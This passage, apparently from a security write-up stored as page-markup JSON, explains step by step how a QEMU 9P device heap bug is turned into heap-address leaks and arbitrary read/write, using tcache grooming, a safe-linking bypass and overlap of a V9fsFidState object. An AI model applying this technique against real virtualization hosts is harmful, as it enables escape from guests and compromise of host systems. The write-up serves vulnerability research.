chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":23,"tag":71,"props":139514,"children":139516},{"className":139515},[],[139517],{"type":29,"value":138247},{"type":29,"value":139519}," chunk now has a corrupted and likely oversized size field:",{"type":23,"tag":64,"props":139521,"children":139523},{"code":139522},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[139524],{"type":23,"tag":71,"props":139525,"children":139526},{"__ignoreMap":7},[139527],{"type":29,"value":139522},{"type":23,"tag":32,"props":139529,"children":139530},{},[139531,139533,139538],{"type":29,"value":139532},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":23,"tag":71,"props":139534,"children":139536},{"className":139535},[],[139537],{"type":29,"value":138164},{"type":29,"value":1018},{"type":23,"tag":64,"props":139540,"children":139542},{"code":139541},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[139543],{"type":23,"tag":71,"props":139544,"children":139545},{"__ignoreMap":7},[139546],{"type":29,"value":139541},{"type":23,"tag":32,"props":139548,"children":139549},{},[139550,139552,139557],{"type":29,"value":139551},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":23,"tag":71,"props":139553,"children":139555},{"className":139554},[],[139556],{"type":29,"value":138164},{"type":29,"value":31960},{"type":23,"tag":64,"props":139559,"children":139561},{"code":139560},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[139562],{"type":23,"tag":71,"props":139563,"children":139564},{"__ignoreMap":7},[139565],{"type":29,"value":139560},{"type":23,"tag":32,"props":139567,"children":139568},{},[139569,139571,139577],{"type":29,"value":139570},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":23,"tag":71,"props":139572,"children":139574},{"className":139573},[],[139575],{"type":29,"value":139576},"0x400",{"type":29,"value":139578}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":23,"tag":64,"props":139580,"children":139582},{"code":139581},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[139583],{"type":23,"tag":71,"props":139584,"children":139585},{"__ignoreMap":7},[139586],{"type":29,"value":139581},{"type":23,"tag":923,"props":139588,"children":139590},{"id":139589},"leaking-a-heap-address",[139591],{"type":29,"value":139592},"Leaking a Heap Address",{"type":23,"tag":32,"props":139594,"children":139595},{},[139596],{"type":29,"value":139597},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":23,"tag":32,"props":139599,"children":139600},{},[139601,139603,139609],{"type":29,"value":139602},"To do this, we abuse the forward (",{"type":23,"tag":71,"props":139604,"children":139606},{"className":139605},[],[139607],{"type":29,"value":139608},"fd",{"type":29,"value":139610},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":23,"tag":64,"props":139612,"children":139614},{"code":139613},"fd = next ^ (curr >> 12)\n",[139615],{"type":23,"tag":71,"props":139616,"children":139617},{"__ignoreMap":7},[139618],{"type":29,"value":139613},{"type":23,"tag":32,"props":139620,"children":139621},{},[139622,139624,139629,139630,139635],{"type":29,"value":139623},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":23,"tag":71,"props":139625,"children":139627},{"className":139626},[],[139628],{"type":29,"value":68749},{"type":29,"value":16773},{"type":23,"tag":71,"props":139631,"children":139633},{"className":139632},[],[139634],{"type":29,"value":65680},{"type":29,"value":139636}," because there is no following entry. In that case, the encoding becomes:",{"type":23,"tag":64,"props":139638,"children":139640},{"code":139639},"fd = 0 ^ (curr >> 12)\n",[139641],{"type":23,"tag":71,"props":139642,"children":139643},{"__ignoreMap":7},[139644],{"type":29,"value":139639},{"type":23,"tag":32,"props":139646,"children":139647},{},[139648,139650,139655],{"type":29,"value":139649},"So if we free a single chunk into an empty tcache bin, its ",{"type":23,"tag":71,"props":139651,"children":139653},{"className":139652},[],[139654],{"type":29,"value":139608},{"type":29,"value":139656}," field is effectively just the chunk address shifted right by 12.",{"type":23,"tag":32,"props":139658,"children":139659},{},[139660],{"type":29,"value":139661},"In the overlap we achieved earlier:",{"type":23,"tag":64,"props":139663,"children":139665},{"code":139664},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[139666],{"type":23,"tag":71,"props":139667,"children":139668},{"__ignoreMap":7},[139669],{"type":29,"value":139664},{"type":23,"tag":32,"props":139671,"children":139672},{},[139673,139675,139681,139683,139689,139691,139697,139699,139704],{"type":29,"value":139674},"We first free ",{"type":23,"tag":71,"props":139676,"children":139678},{"className":139677},[],[139679],{"type":29,"value":139680},".value C",{"type":29,"value":139682}," into tcache and read its contents through the oversized ",{"type":23,"tag":71,"props":139684,"children":139686},{"className":139685},[],[139687],{"type":29,"value":139688},".value Y",{"type":29,"value":139690},". This gives us ",{"type":23,"tag":71,"props":139692,"children":139694},{"className":139693},[],[139695],{"type":29,"value":139696},".value C >> 12",{"type":29,"value":139698},". That is not yet the exact address of ",{"type":23,"tag":71,"props":139700,"children":139702},{"className":139701},[],[139703],{"type":29,"value":139680},{"type":29,"value":139705},", since the lower 12 bits are lost.",{"type":23,"tag":32,"props":139707,"children":139708},{},[139709,139711,139716,139718,139723,139725,139730,139732,139737],{"type":29,"value":139710},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":23,"tag":71,"props":139712,"children":139714},{"className":139713},[],[139715],{"type":29,"value":139680},{"type":29,"value":139717},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":23,"tag":71,"props":139719,"children":139721},{"className":139720},[],[139722],{"type":29,"value":139680},{"type":29,"value":139724}," again. This time, ",{"type":23,"tag":71,"props":139726,"children":139728},{"className":139727},[],[139729],{"type":29,"value":68749},{"type":29,"value":139731}," is no longer ",{"type":23,"tag":71,"props":139733,"children":139735},{"className":139734},[],[139736],{"type":29,"value":65680},{"type":29,"value":139738},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":23,"tag":64,"props":139740,"children":139741},{"code":139613},[139742],{"type":23,"tag":71,"props":139743,"children":139744},{"__ignoreMap":7},[139745],{"type":29,"value":139613},{"type":23,"tag":32,"props":139747,"children":139748},{},[139749,139751,139757,139759,139764,139766,139771,139773,139778],{"type":29,"value":139750},"Since we already know ",{"type":23,"tag":71,"props":139752,"children":139754},{"className":139753},[],[139755],{"type":29,"value":139756},"curr >> 12",{"type":29,"value":139758}," from the first leak, we can read the new ",{"type":23,"tag":71,"props":139760,"children":139762},{"className":139761},[],[139763],{"type":29,"value":139608},{"type":29,"value":139765}," value from ",{"type":23,"tag":71,"props":139767,"children":139769},{"className":139768},[],[139770],{"type":29,"value":139680},{"type":29,"value":139772}," and recover the exact address of ",{"type":23,"tag":71,"props":139774,"children":139776},{"className":139775},[],[139777],{"type":29,"value":68749},{"type":29,"value":139779}," by reversing the XOR:",{"type":23,"tag":64,"props":139781,"children":139783},{"code":139782},"next = fd ^ (curr >> 12)\n",[139784],{"type":23,"tag":71,"props":139785,"children":139786},{"__ignoreMap":7},[139787],{"type":29,"value":139782},{"type":23,"tag":32,"props":139789,"children":139790},{},[139791],{"type":29,"value":139792},"This gives us the exact address of a heap chunk whose contents we control.",{"type":23,"tag":923,"props":139794,"children":139796},{"id":139795},"arbitrary-read-and-write",[139797],{"type":29,"value":139798},"Arbitrary Read and Write",{"type":23,"tag":32,"props":139800,"children":139801},{},[139802,139804,139809],{"type":29,"value":139803},"Having a controlled chunk at a known address lets us repurpose ",{"type":23,"tag":71,"props":139805,"children":139807},{"className":139806},[],[139808],{"type":29,"value":139680},{"type":29,"value":139810}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":23,"tag":32,"props":139812,"children":139813},{},[139814,139816,139821],{"type":29,"value":139815},"Recall ",{"type":23,"tag":71,"props":139817,"children":139819},{"className":139818},[],[139820],{"type":29,"value":138284},{"type":29,"value":1018},{"type":23,"tag":64,"props":139823,"children":139825},{"code":139824,"language":14432,"meta":7,"className":27738,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[139826],{"type":23,"tag":71,"props":139827,"children":139828},{"__ignoreMap":7},[139829,139868,139875,139886,139901,139916,139923,139930,139937,139959,139966,139973,139980,139988,140005,140044,140087,140094],{"type":23,"tag":75,"props":139830,"children":139831},{"class":77,"line":78},[139832,139836,139840,139844,139848,139852,139856,139860,139864],{"type":23,"tag":75,"props":139833,"children":139834},{"style":82},[139835],{"type":29,"value":62229},{"type":23,"tag":75,"props":139837,"children":139838},{"style":82},[139839],{"type":29,"value":62234},{"type":23,"tag":75,"props":139841,"children":139842},{"style":94},[139843],{"type":29,"value":138279},{"type":23,"tag":75,"props":139845,"children":139846},{"style":88},[139847],{"type":29,"value":138284},{"type":23,"tag":75,"props":139849,"children":139850},{"style":94},[139851],{"type":29,"value":643},{"type":23,"tag":75,"props":139853,"children":139854},{"style":82},[139855],{"type":29,"value":62812},{"type":23,"tag":75,"props":139857,"children":139858},{"style":209},[139859],{"type":29,"value":579},{"type":23,"tag":75,"props":139861,"children":139862},{"style":110},[139863],{"type":29,"value":138301},{"type":23,"tag":75,"props":139865,"children":139866},{"style":94},[139867],{"type":29,"value":653},{"type":23,"tag":75,"props":139869,"children":139870},{"class":77,"line":100},[139871],{"type":23,"tag":75,"props":139872,"children":139873},{"style":94},[139874],{"type":29,"value":2549},{"type":23,"tag":75,"props":139876,"children":139877},{"class":77,"line":121},[139878,139882],{"type":23,"tag":75,"props":139879,"children":139880},{"style":82},[139881],{"type":29,"value":66796},{"type":23,"tag":75,"props":139883,"children":139884},{"style":94},[139885],{"type":29,"value":134937},{"type":23,"tag":75,"props":139887,"children":139888},{"class":77,"line":138},[139889,139893,139897],{"type":23,"tag":75,"props":139890,"children":139891},{"style":94},[139892],{"type":29,"value":138426},{"type":23,"tag":75,"props":139894,"children":139895},{"style":209},[139896],{"type":29,"value":601},{"type":23,"tag":75,"props":139898,"children":139899},{"style":94},[139900],{"type":29,"value":138435},{"type":23,"tag":75,"props":139902,"children":139903},{"class":77,"line":161},[139904,139908,139912],{"type":23,"tag":75,"props":139905,"children":139906},{"style":94},[139907],{"type":29,"value":138426},{"type":23,"tag":75,"props":139909,"children":139910},{"style":209},[139911],{"type":29,"value":601},{"type":23,"tag":75,"props":139913,"children":139914},{"style":94},[139915],{"type":29,"value":138451},{"type":23,"tag":75,"props":139917,"children":139918},{"class":77,"line":196},[139919],{"type":23,"tag":75,"props":139920,"children":139921},{"emptyLinePlaceholder":15},[139922],{"type":29,"value":276},{"type":23,"tag":75,"props":139924,"children":139925},{"class":77,"line":220},[139926],{"type":23,"tag":75,"props":139927,"children":139928},{"style":94},[139929],{"type":29,"value":115136},{"type":23,"tag":75,"props":139931,"children":139932},{"class":77,"line":248},[139933],{"type":23,"tag":75,"props":139934,"children":139935},{"emptyLinePlaceholder":15},[139936],{"type":29,"value":276},{"type":23,"tag":75,"props":139938,"children":139939},{"class":77,"line":270},[139940,139945,139949,139954],{"type":23,"tag":75,"props":139941,"children":139942},{"style":94},[139943],{"type":29,"value":139944},"    file_fidp ",{"type":23,"tag":75,"props":139946,"children":139947},{"style":209},[139948],{"type":29,"value":212},{"type":23,"tag":75,"props":139950,"children":139951},{"style":88},[139952],{"type":29,"value":139953}," get_fid",{"type":23,"tag":75,"props":139955,"children":139956},{"style":94},[139957],{"type":29,"value":139958},"(pdu, fid);\n",{"type":23,"tag":75,"props":139960,"children":139961},{"class":77,"line":279},[139962],{"type":23,"tag":75,"props":139963,"children":139964},{"emptyLinePlaceholder":15},[139965],{"type":29,"value":276},{"type":23,"tag":75,"props":139967,"children":139968},{"class":77,"line":303},[139969],{"type":23,"tag":75,"props":139970,"children":139971},{"style":94},[139972],{"type":29,"value":115136},{"type":23,"tag":75,"props":139974,"children":139975},{"class":77,"line":322},[139976],{"type":23,"tag":75,"props":139977,"children":139978},{"emptyLinePlaceholder":15},[139979],{"type":29,"value":276},{"type":23,"tag":75,"props":139981,"children":139982},{"class":77,"line":340},[139983],{"type":23,"tag":75,"props":139984,"children":139985},{"style":3621},[139986],{"type":29,"value":139987},"    /* Make the file fid point to xattr */\n",{"type":23,"tag":75,"props":139989,"children":139990},{"class":77,"line":349},[139991,139996,140000],{"type":23,"tag":75,"props":139992,"children":139993},{"style":94},[139994],{"type":29,"value":139995},"    xattr_fidp ",{"type":23,"tag":75,"props":139997,"children":139998},{"style":209},[139999],{"type":29,"value":212},{"type":23,"tag":75,"props":140001,"children":140002},{"style":94},[140003],{"type":29,"value":140004}," file_fidp;\n",{"type":23,"tag":75,"props":140006,"children":140007},{"class":77,"line":363},[140008,140012,140016,140020,140024,140028,140032,140036,140040],{"type":23,"tag":75,"props":140009,"children":140010},{"style":110},[140011],{"type":29,"value":138829},{"type":23,"tag":75,"props":140013,"children":140014},{"style":94},[140015],{"type":29,"value":1156},{"type":23,"tag":75,"props":140017,"children":140018},{"style":110},[140019],{"type":29,"value":48174},{"type":23,"tag":75,"props":140021,"children":140022},{"style":94},[140023],{"type":29,"value":557},{"type":23,"tag":75,"props":140025,"children":140026},{"style":110},[140027],{"type":29,"value":138753},{"type":23,"tag":75,"props":140029,"children":140030},{"style":94},[140031],{"type":29,"value":557},{"type":23,"tag":75,"props":140033,"children":140034},{"style":110},[140035],{"type":29,"value":679},{"type":23,"tag":75,"props":140037,"children":140038},{"style":209},[140039],{"type":29,"value":1193},{"type":23,"tag":75,"props":140041,"children":140042},{"style":94},[140043],{"type":29,"value":134937},{"type":23,"tag":75,"props":140045,"children":140046},{"class":77,"line":656},[140047,140051,140055,140059,140063,140067,140071,140075,140079,140083],{"type":23,"tag":75,"props":140048,"children":140049},{"style":110},[140050],{"type":29,"value":138829},{"type":23,"tag":75,"props":140052,"children":140053},{"style":94},[140054],{"type":29,"value":1156},{"type":23,"tag":75,"props":140056,"children":140057},{"style":110},[140058],{"type":29,"value":48174},{"type":23,"tag":75,"props":140060,"children":140061},{"style":94},[140062],{"type":29,"value":557},{"type":23,"tag":75,"props":140064,"children":140065},{"style":110},[140066],{"type":29,"value":138753},{"type":23,"tag":75,"props":140068,"children":140069},{"style":94},[140070],{"type":29,"value":557},{"type":23,"tag":75,"props":140072,"children":140073},{"style":110},[140074],{"type":29,"value":1672},{"type":23,"tag":75,"props":140076,"children":140077},{"style":209},[140078],{"type":29,"value":1193},{"type":23,"tag":75,"props":140080,"children":140081},{"style":88},[140082],{"type":29,"value":134508},{"type":23,"tag":75,"props":140084,"children":140085},{"style":94},[140086],{"type":29,"value":138866},{"type":23,"tag":75,"props":140088,"children":140089},{"class":77,"line":705},[140090],{"type":23,"tag":75,"props":140091,"children":140092},{"emptyLinePlaceholder":15},[140093],{"type":29,"value":276},{"type":23,"tag":75,"props":140095,"children":140096},{"class":77,"line":787},[140097],{"type":23,"tag":75,"props":140098,"children":140099},{"style":94},[140100],{"type":29,"value":115136},{"type":23,"tag":32,"props":140102,"children":140103},{},[140104,140106,140112,140114,140119,140120,140125,140127,140132,140134,140140,140141,140147,140149,140154,140155,140160],{"type":29,"value":140105},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":23,"tag":71,"props":140107,"children":140109},{"className":140108},[],[140110],{"type":29,"value":140111},"V9fsFidState",{"type":29,"value":140113}," object. In other words, if we can place a ",{"type":23,"tag":71,"props":140115,"children":140117},{"className":140116},[],[140118],{"type":29,"value":140111},{"type":29,"value":18582},{"type":23,"tag":71,"props":140121,"children":140123},{"className":140122},[],[140124],{"type":29,"value":139680},{"type":29,"value":140126}," currently sits, the overlapping ",{"type":23,"tag":71,"props":140128,"children":140130},{"className":140129},[],[140131],{"type":29,"value":139688},{"type":29,"value":140133}," chunk can overwrite ",{"type":23,"tag":71,"props":140135,"children":140137},{"className":140136},[],[140138],{"type":29,"value":140139},"V9fsFidState.fs.xattr.value",{"type":29,"value":2721},{"type":23,"tag":71,"props":140142,"children":140144},{"className":140143},[],[140145],{"type":29,"value":140146},"V9fsFidState.fs.xattr.len",{"type":29,"value":140148},". That would immediately give us arbitrary read and write through ",{"type":23,"tag":71,"props":140150,"children":140152},{"className":140151},[],[140153],{"type":29,"value":138942},{"type":29,"value":2721},{"type":23,"tag":71,"props":140156,"children":140158},{"className":140157},[],[140159],{"type":29,"value":138934},{"type":29,"value":557},{"type":23,"tag":32,"props":140162,"children":140163},{},[140164,140166,140171,140172,140177,140179,140184,140186,140192,140194,140199,140201,140206,140208,140213,140215,140220,140222,140227],{"type":29,"value":140165},"At this point, ",{"type":23,"tag":71,"props":140167,"children":140169},{"className":140168},[],[140170],{"type":29,"value":139680},{"type":29,"value":26671},{"type":23,"tag":71,"props":140173,"children":140175},{"className":140174},[],[140176],{"type":29,"value":138149},{"type":29,"value":140178}," chunk, while ",{"type":23,"tag":71,"props":140180,"children":140182},{"className":140181},[],[140183],{"type":29,"value":140111},{"type":29,"value":140185}," falls into the ",{"type":23,"tag":71,"props":140187,"children":140189},{"className":140188},[],[140190],{"type":29,"value":140191},"0x120",{"type":29,"value":140193}," size class. Before freeing ",{"type":23,"tag":71,"props":140195,"children":140197},{"className":140196},[],[140198],{"type":29,"value":139680},{"type":29,"value":140200},", we therefore use the oversized ",{"type":23,"tag":71,"props":140202,"children":140204},{"className":140203},[],[140205],{"type":29,"value":139688},{"type":29,"value":140207}," chunk to change its size to match ",{"type":23,"tag":71,"props":140209,"children":140211},{"className":140210},[],[140212],{"type":29,"value":140111},{"type":29,"value":140214},". Once ",{"type":23,"tag":71,"props":140216,"children":140218},{"className":140217},[],[140219],{"type":29,"value":139680},{"type":29,"value":140221}," is freed, it is inserted into the ",{"type":23,"tag":71,"props":140223,"children":140225},{"className":140224},[],[140226],{"type":29,"value":140191},{"type":29,"value":140228}," tcache bin.",{"type":23,"tag":64,"props":140230,"children":140232},{"code":140231},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[140233],{"type":23,"tag":71,"props":140234,"children":140235},{"__ignoreMap":7},[140236],{"type":29,"value":140231},{"type":23,"tag":32,"props":140238,"children":140239},{},[140240,140242,140247,140249,140255,140257,140263,140265,140270],{"type":29,"value":140241},"After that, we can simply allocate a new ",{"type":23,"tag":71,"props":140243,"children":140245},{"className":140244},[],[140246],{"type":29,"value":140111},{"type":29,"value":140248}," with a ",{"type":23,"tag":71,"props":140250,"children":140252},{"className":140251},[],[140253],{"type":29,"value":140254},"P9_TWALK",{"type":29,"value":140256}," request and a fresh FID - this reaches ",{"type":23,"tag":71,"props":140258,"children":140260},{"className":140259},[],[140261],{"type":29,"value":140262},"alloc_fid",{"type":29,"value":140264},", which allocates a new ",{"type":23,"tag":71,"props":140266,"children":140268},{"className":140267},[],[140269],{"type":29,"value":140111},{"type":29,"value":1018},{"type":23,"tag":64,"props":140272,"children":140274},{"code":140273,"language":14432,"meta":7,"className":27738,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[140275],{"type":23,"tag":71,"props":140276,"children":140277},{"__ignoreMap":7},[140278,140318,140325,140341,140369,140376,140383,140390,140411,140418,140433,140455,140479,140500,140511,140518,140556,140598,140605,140612,140619,140626,140633,140684,140691,140706,140713,140761,140773,140781,140810,140825,140832,140861,140868],{"type":23,"tag":75,"props":140279,"children":140280},{"class":77,"line":78},[140281,140285,140289,140293,140298,140302,140306,140310,140314],{"type":23,"tag":75,"props":140282,"children":140283},{"style":82},[140284],{"type":29,"value":62229},{"type":23,"tag":75,"props":140286,"children":140287},{"style":82},[140288],{"type":29,"value":62234},{"type":23,"tag":75,"props":140290,"children":140291},{"style":94},[140292],{"type":29,"value":138279},{"type":23,"tag":75,"props":140294,"children":140295},{"style":88},[140296],{"type":29,"value":140297},"v9fs_walk",{"type":23,"tag":75,"props":140299,"children":140300},{"style":94},[140301],{"type":29,"value":643},{"type":23,"tag":75,"props":140303,"children":140304},{"style":82},[140305],{"type":29,"value":62812},{"type":23,"tag":75,"props":140307,"children":140308},{"style":209},[140309],{"type":29,"value":579},{"type":23,"tag":75,"props":140311,"children":140312},{"style":110},[140313],{"type":29,"value":138301},{"type":23,"tag":75,"props":140315,"children":140316},{"style":94},[140317],{"type":29,"value":653},{"type":23,"tag":75,"props":140319,"children":140320},{"class":77,"line":100},[140321],{"type":23,"tag":75,"props":140322,"children":140323},{"style":94},[140324],{"type":29,"value":2549},{"type":23,"tag":75,"props":140326,"children":140327},{"class":77,"line":121},[140328,140332,140336],{"type":23,"tag":75,"props":140329,"children":140330},{"style":94},[140331],{"type":29,"value":138426},{"type":23,"tag":75,"props":140333,"children":140334},{"style":209},[140335],{"type":29,"value":601},{"type":23,"tag":75,"props":140337,"children":140338},{"style":94},[140339],{"type":29,"value":140340},"fidp;\n",{"type":23,"tag":75,"props":140342,"children":140343},{"class":77,"line":138},[140344,140348,140352,140357,140361,140365],{"type":23,"tag":75,"props":140345,"children":140346},{"style":94},[140347],{"type":29,"value":138426},{"type":23,"tag":75,"props":140349,"children":140350},{"style":209},[140351],{"type":29,"value":601},{"type":23,"tag":75,"props":140353,"children":140354},{"style":94},[140355],{"type":29,"value":140356},"newfidp ",{"type":23,"tag":75,"props":140358,"children":140359},{"style":209},[140360],{"type":29,"value":212},{"type":23,"tag":75,"props":140362,"children":140363},{"style":82},[140364],{"type":29,"value":138105},{"type":23,"tag":75,"props":140366,"children":140367},{"style":94},[140368],{"type":29,"value":245},{"type":23,"tag":75,"props":140370,"children":140371},{"class":77,"line":161},[140372],{"type":23,"tag":75,"props":140373,"children":140374},{"emptyLinePlaceholder":15},[140375],{"type":29,"value":276},{"type":23,"tag":75,"props":140377,"children":140378},{"class":77,"line":196},[140379],{"type":23,"tag":75,"props":140380,"children":140381},{"style":94},[140382],{"type":29,"value":115136},{"type":23,"tag":75,"props":140384,"children":140385},{"class":77,"line":220},[140386],{"type":23,"tag":75,"props":140387,"children":140388},{"emptyLinePlaceholder":15},[140389],{"type":29,"value":276},{"type":23,"tag":75,"props":140391,"children":140392},{"class":77,"line":248},[140393,140397,140402,140406],{"type":23,"tag":75,"props":140394,"children":140395},{"style":175},[140396],{"type":29,"value":1363},{"type":23,"tag":75,"props":140398,"children":140399},{"style":94},[140400],{"type":29,"value":140401}," (fid ",{"type":23,"tag":75,"props":140403,"children":140404},{"style":209},[140405],{"type":29,"value":2469},{"type":23,"tag":75,"props":140407,"children":140408},{"style":94},[140409],{"type":29,"value":140410}," newfid) {\n",{"type":23,"tag":75,"props":140412,"children":140413},{"class":77,"line":270},[140414],{"type":23,"tag":75,"props":140415,"children":140416},{"style":94},[140417],{"type":29,"value":134374},{"type":23,"tag":75,"props":140419,"children":140420},{"class":77,"line":279},[140421,140425,140429],{"type":23,"tag":75,"props":140422,"children":140423},{"style":94},[140424],{"type":29,"value":8344},{"type":23,"tag":75,"props":140426,"children":140427},{"style":175},[140428],{"type":29,"value":6878},{"type":23,"tag":75,"props":140430,"children":140431},{"style":94},[140432],{"type":29,"value":401},{"type":23,"tag":75,"props":140434,"children":140435},{"class":77,"line":303},[140436,140441,140445,140450],{"type":23,"tag":75,"props":140437,"children":140438},{"style":94},[140439],{"type":29,"value":140440},"        newfidp ",{"type":23,"tag":75,"props":140442,"children":140443},{"style":209},[140444],{"type":29,"value":212},{"type":23,"tag":75,"props":140446,"children":140447},{"style":88},[140448],{"type":29,"value":140449}," alloc_fid",{"type":23,"tag":75,"props":140451,"children":140452},{"style":94},[140453],{"type":29,"value":140454},"(s, newfid);\n",{"type":23,"tag":75,"props":140456,"children":140457},{"class":77,"line":322},[140458,140462,140467,140471,140475],{"type":23,"tag":75,"props":140459,"children":140460},{"style":175},[140461],{"type":29,"value":2445},{"type":23,"tag":75,"props":140463,"children":140464},{"style":94},[140465],{"type":29,"value":140466}," (newfidp ",{"type":23,"tag":75,"props":140468,"children":140469},{"style":209},[140470],{"type":29,"value":2469},{"type":23,"tag":75,"props":140472,"children":140473},{"style":82},[140474],{"type":29,"value":138105},{"type":23,"tag":75,"props":140476,"children":140477},{"style":94},[140478],{"type":29,"value":193},{"type":23,"tag":75,"props":140480,"children":140481},{"class":77,"line":340},[140482,140487,140491,140495],{"type":23,"tag":75,"props":140483,"children":140484},{"style":94},[140485],{"type":29,"value":140486},"            err ",{"type":23,"tag":75,"props":140488,"children":140489},{"style":209},[140490],{"type":29,"value":212},{"type":23,"tag":75,"props":140492,"children":140493},{"style":209},[140494],{"type":29,"value":62440},{"type":23,"tag":75,"props":140496,"children":140497},{"style":94},[140498],{"type":29,"value":140499},"EINVAL;\n",{"type":23,"tag":75,"props":140501,"children":140502},{"class":77,"line":349},[140503,140507],{"type":23,"tag":75,"props":140504,"children":140505},{"style":175},[140506],{"type":29,"value":71731},{"type":23,"tag":75,"props":140508,"children":140509},{"style":94},[140510],{"type":29,"value":71736},{"type":23,"tag":75,"props":140512,"children":140513},{"class":77,"line":363},[140514],{"type":23,"tag":75,"props":140515,"children":140516},{"style":94},[140517],{"type":29,"value":2503},{"type":23,"tag":75,"props":140519,"children":140520},{"class":77,"line":656},[140521,140526,140530,140535,140539,140544,140548,140552],{"type":23,"tag":75,"props":140522,"children":140523},{"style":110},[140524],{"type":29,"value":140525},"        newfidp",{"type":23,"tag":75,"props":140527,"children":140528},{"style":94},[140529],{"type":29,"value":1156},{"type":23,"tag":75,"props":140531,"children":140532},{"style":110},[140533],{"type":29,"value":140534},"uid",{"type":23,"tag":75,"props":140536,"children":140537},{"style":209},[140538],{"type":29,"value":1193},{"type":23,"tag":75,"props":140540,"children":140541},{"style":110},[140542],{"type":29,"value":140543}," fidp",{"type":23,"tag":75,"props":140545,"children":140546},{"style":94},[140547],{"type":29,"value":1156},{"type":23,"tag":75,"props":140549,"children":140550},{"style":110},[140551],{"type":29,"value":140534},{"type":23,"tag":75,"props":140553,"children":140554},{"style":94},[140555],{"type":29,"value":245},{"type":23,"tag":75,"props":140557,"children":140558},{"class":77,"line":705},[140559,140564,140568,140572,140577,140581,140585,140589,140593],{"type":23,"tag":75,"props":140560,"children":140561},{"style":88},[140562],{"type":29,"value":140563},"        v9fs_path_copy",{"type":23,"tag":75,"props":140565,"children":140566},{"style":94},[140567],{"type":29,"value":643},{"type":23,"tag":75,"props":140569,"children":140570},{"style":209},[140571],{"type":29,"value":1277},{"type":23,"tag":75,"props":140573,"children":140574},{"style":110},[140575],{"type":29,"value":140576},"newfidp",{"type":23,"tag":75,"props":140578,"children":140579},{"style":94},[140580],{"type":29,"value":1156},{"type":23,"tag":75,"props":140582,"children":140583},{"style":110},[140584],{"type":29,"value":122659},{"type":23,"tag":75,"props":140586,"children":140587},{"style":94},[140588],{"type":29,"value":611},{"type":23,"tag":75,"props":140590,"children":140591},{"style":209},[140592],{"type":29,"value":1277},{"type":23,"tag":75,"props":140594,"children":140595},{"style":94},[140596],{"type":29,"value":140597},"path);\n",{"type":23,"tag":75,"props":140599,"children":140600},{"class":77,"line":787},[140601],{"type":23,"tag":75,"props":140602,"children":140603},{"style":94},[140604],{"type":29,"value":346},{"type":23,"tag":75,"props":140606,"children":140607},{"class":77,"line":826},[140608],{"type":23,"tag":75,"props":140609,"children":140610},{"emptyLinePlaceholder":15},[140611],{"type":29,"value":276},{"type":23,"tag":75,"props":140613,"children":140614},{"class":77,"line":834},[140615],{"type":23,"tag":75,"pro